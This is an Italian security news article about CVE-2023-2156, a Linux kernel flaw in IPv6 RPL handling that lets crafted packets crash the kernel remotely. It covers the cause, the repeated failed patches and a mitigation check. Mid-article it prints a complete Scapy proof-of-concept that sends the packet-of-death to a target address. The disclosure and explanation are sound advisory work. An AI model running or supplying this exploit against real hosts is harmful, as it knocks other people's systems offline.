Vulnerabilità 0-day nel stack IPv6 di Linux, che consente di provocare un crash del kernel da remoto

Sono emerse informazioni su una vulnerabilità zero-day (CVE-2023-2156) nel kernel Linux, che permette di compromettere il sistema tramite l'invio di pacchetti IPv6 appositamente formattati (packet-of-death). Il problema si manifesta solo quando è abilitato il supporto per il protocollo RPL (Routing Protocol for Low-Power and Lossy Networks), che nei sistemi operativi è disattivato per impostazione predefinita e viene utilizzato principalmente su dispositivi embedded che operano in reti wireless con elevate perdite di pacchetti.

La vulnerabilità è causata da un'errata gestione dei dati esterni nel codice di analisi del protocollo RPL, che provoca un fallo di assert e porta il kernel in uno stato di panic. Quando si collocano nella struttura k_buff (Socket Buffer) i dati risultanti dall'analisi dell'intestazione di un pacchetto IPv6 RPL, se il campo CmprI è impostato a 15, il campo Segleft a 1 e CmprE a 0, un vettore di 48 byte di indirizzi viene espanso a 528 byte, e si verifica una situazione in cui la memoria allocata per il buffer non è sufficiente. In questo caso, nella funzione skb_push, utilizzata per inserire i dati nella struttura, scatta un controllo sulla sproporzione delle dimensioni dei dati e del buffer, generando uno stato di panic per prevenire la scrittura oltre il limite del buffer.

Esempio di exploit: # Useremo Scapy per creare il pacchetto from scapy.all import * import socket # Usa l'indirizzo IPv6 della tua interfaccia LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Utilizziamo i socket per inviare il pacchetto sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Crea il pacchetto # Type = 3 rende questo un pacchetto RPL # Addresses contiene 3 indirizzi, ma poiché CmprI è 15, # ogni ottetto dei primi due indirizzi è trattato come un indirizzo compresso # Segleft = 1 per attivare l'amplificazione # lastentry = 0xf0 imposta CmprI a 15 e CmprE a 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Invia questo pacchetto maligno sockfd.sendto(bytes(p), (DST_ADDR, 0))

È notevole che gli sviluppatori del kernel siano stati avvisati della vulnerabilità già a gennaio 2022 e, nei 15 mesi successivi, abbiano tentato per tre volte di risolvere il problema, rilasciando patch a settembre 2022, ottobre 2022 e aprile 2023, ma ogni volta le correzioni si sono rivelate insufficienti e la vulnerabilità è stata riprodotta. Alla fine, il progetto ZDI, che ha coordinato gli sforzi per risolvere la vulnerabilità, ha deciso di rivelare dettagli sulla vulnerabilità, senza aspettare l'emissione di una correzione funzionante nel kernel.

Pertanto, la vulnerabilità rimane ancora non corretta. Inoltre, la patch inclusa nel kernel 6.4-rc2 non è efficace. Si raccomanda agli utenti di verificare che il protocollo RPL non sia utilizzato nei loro sistemi, cosa che può essere fatta con il comando sysctl -a | grep -i rpl_seg_enabled

Fonte: opennet.ru

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster